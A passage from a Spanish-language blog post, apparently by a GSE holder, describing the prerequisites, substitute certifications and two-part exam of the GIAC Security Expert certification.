Adicionalmente, es necesario completar al menos dos de las anteriores certificaciones con la calificación "GOLD". Esto quiere decir que el candidato además de aprobar el examen de certificación de selección simple, debe realizar un trabajo de investigación académica relacionado a su certificación. Este trabajo es revisado y calificado con los mismos estándares de una publicación científica. Estos trabajos son posteriormente publicados en el salón de lectura del SANS Institute.

Alternativamente, algunos de estos requisitos pueden ser reemplazados con el siguiente esquema:

1.- GSEC puede reemplazarse por GCUX y GCWN. Estas dos últimas certificaciones tienen que ver con la implementación, administración y monitoreo de sistemas basados en Unix y Linux respectivamente.

2.- Cada calificación GOLD puede ser reemplazada por una certificación de alto nivel. Estas certificaciones de alto nivel profundizan en áres especificas de la seguridad informática, como por ejemplo: pruebas de penetración en redes, pruebas de penetración de aplicaciones web, pruebas de penetracion de redes inalambricas, análisis forense, analisis de malware, etc. El listado completo de certificaciones sustitutas es el siguiente: GCFA, GCFW, GCUX, GCWN, GCED, GPEN, GWAPT, GAWN, GREM. Mayor información puede obtenerse aquí.

Con esto quedan cubiertos los pre-requisitos y el candidato tiene el derecho de aplicar para presentar el examen de certificación GSE propiamente dicho. Es decir, ahora es que viene lo bueno. Una vez la aplicación del candidato es aceptada, el examen de certificación GSE consta de dos partes.

1.- La primera parte es un prueba de selección simple que examina los conocimientos de las tres certificaciones base en conjunto y en contexto. Es decir, este examen requiere que el candidato no sólo sepa aplicar los conocimientos adquiridos en las certificaciones anteriores, sino que los sepa aplicar en conjunto. Adicional al requerimiento de poder aplicar los conceptos adquiridos de una forma contextual en escenarios realisticos, este examen es como cualquier otro de selección simple tomado en las certificaciones anteriores..

2.- La segunda parte es un examen práctico de dos días de duración. Esta parte es el corazón mismo de la certificación. El candidato armado con tan sólo una laptop, su conocimiento y su experiencia, le demuestra al panel jurado del GSE que posee los conocimientos para enfrentarse a los problemas de seguridad informática más relevantes de hoy en día de forma práctica e indiscutible. Aquí no hay cabida para los "adivinadores" de preguntas o las tácticas de examenes de selección simple. Por dos días consecutivos, el candidato se enfrenta a una batería rigurosa de preguntas que deben ser respondidas utilizando solamente las herramientas provistas por GIAC y en el tiempo determinado como aceptable para cada una de las secciones del examen.

Despues de esta odisea, valorable en sí misma nada mas con el proceso de preparación requerida, queda la parte más sencilla de todas. Sentirse orgulloso de unos de los logros más importantes de tu carrera como profesional de la seguridad informática. Si estás pensando en aventurarte a tomar el examen y quieres conocer más detalles, consejos, o simplemente comentar con alguien que paso por lo mismo que tu pasarás, siéntete libre de escribirme usando el link de contacto.